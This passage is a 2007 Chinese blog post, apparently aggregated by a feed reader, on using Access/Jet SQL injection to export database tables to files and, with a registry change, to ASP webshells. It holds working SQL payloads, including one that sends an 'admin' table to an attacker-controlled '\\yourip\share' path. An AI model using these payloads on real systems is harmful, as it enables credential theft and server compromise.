惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
The Blog of Author Tim Ferriss
博客园 - 司徒正美
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
有赞技术团队
有赞技术团队
量子位
S
SegmentFault 最新的问题
博客园 - 聂微东
博客园 - 【当耐特】
J
Java Code Geeks
美团技术团队
Hugging Face - Blog
Hugging Face - Blog
H
Help Net Security
V
V2EX
人人都是产品经理
人人都是产品经理
博客园 - Franky
罗磊的独立博客
Engineering at Meta
Engineering at Meta
A
About on SuperTechFans
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
酷 壳 – CoolShell
酷 壳 – CoolShell
云风的 BLOG
云风的 BLOG
Y
Y Combinator Blog
Apple Machine Learning Research
Apple Machine Learning Research

Xio's

虚惊一场的7.7级地震 | Xio 凌晨,我们一起去看了场流星雨 | Xio 我原本没打算过这个生日 | Xio 我完整看完了一场小学生比赛,因为场上出了一个BUG | Xio 世界杯散场以后 | Xio 江风替我说了 | Xio's 赛博算命说我偏财旺 | Xio's 看不见的流星雨 | Xio's 又通宵了 | Xio's 用AI买彩票,中了二等奖 | Xio's 一封跨越23年的玛法信 | Xio's 惊艳!CodeBuddy初体验 | Xio's 从 Typecho 到 Astro:简单的博客搬运记录 | Xio's 丢了主机,却捡了个自由博客 | Xio's 自定义格式测试 | Xio's Hello Astro | Xio's Model Y:这个阶段的Dream Car | Xio's 擦肩而过的光芒 | Xio's Markdown 语法参考文档 | Xio's 十年投资,最值得持有的标的 | Xio's 独自流浪,只为不留遗憾 | Xio's 足彩路漫漫,笔记不能忘 | Xio's 是时候结束了,是时候开始了... | Xio's 熬不起夜 | Xio's 失眠 | Xio's 恶梦一般,却希望只是个恶梦 | Xio's 世纪大战 | Xio's 一次独自的出发 | Xio's 这样的一个blog,勉强算是开通了吧 | Xio's 报驾校 | Xio's
利用Access SQL注入导出ASP文件的方法 | Xio's
Xio · 2007-03-17 · via Xio's

已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。

最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。

传统的导出方法

几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:

Select * into [test.txt] in 'd:\web\' 'text;' from admin

执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说"不能更新,数据库或对象为只读"。

问题的根源

其实控制导出文件后缀是存储在注册表的,具体键值是:

HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension

默认情况下值为"!txt,csv,tab,asc,tmp,htm,html",如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。

这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。

扩展思路

顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:

Select * into [test.txt] in '\\yourip\share' 'text;' from admin

实际测试

我在我自己的blog上测试,没有得用注入,直接exec sql语句形成:

Select gb_Author into [222.txt] in 'D:\wwwroot\starstudio\wwwroot\' 'text;' from blog_Guestbook

竟然真生成了txt文件了,当时可以访问 starstudio.cn/222.txt(现在域名已经失效,starstudio已经躺在本地硬盘中了)

不行可以试试访问............利用注点怎么得asp还得好好研究下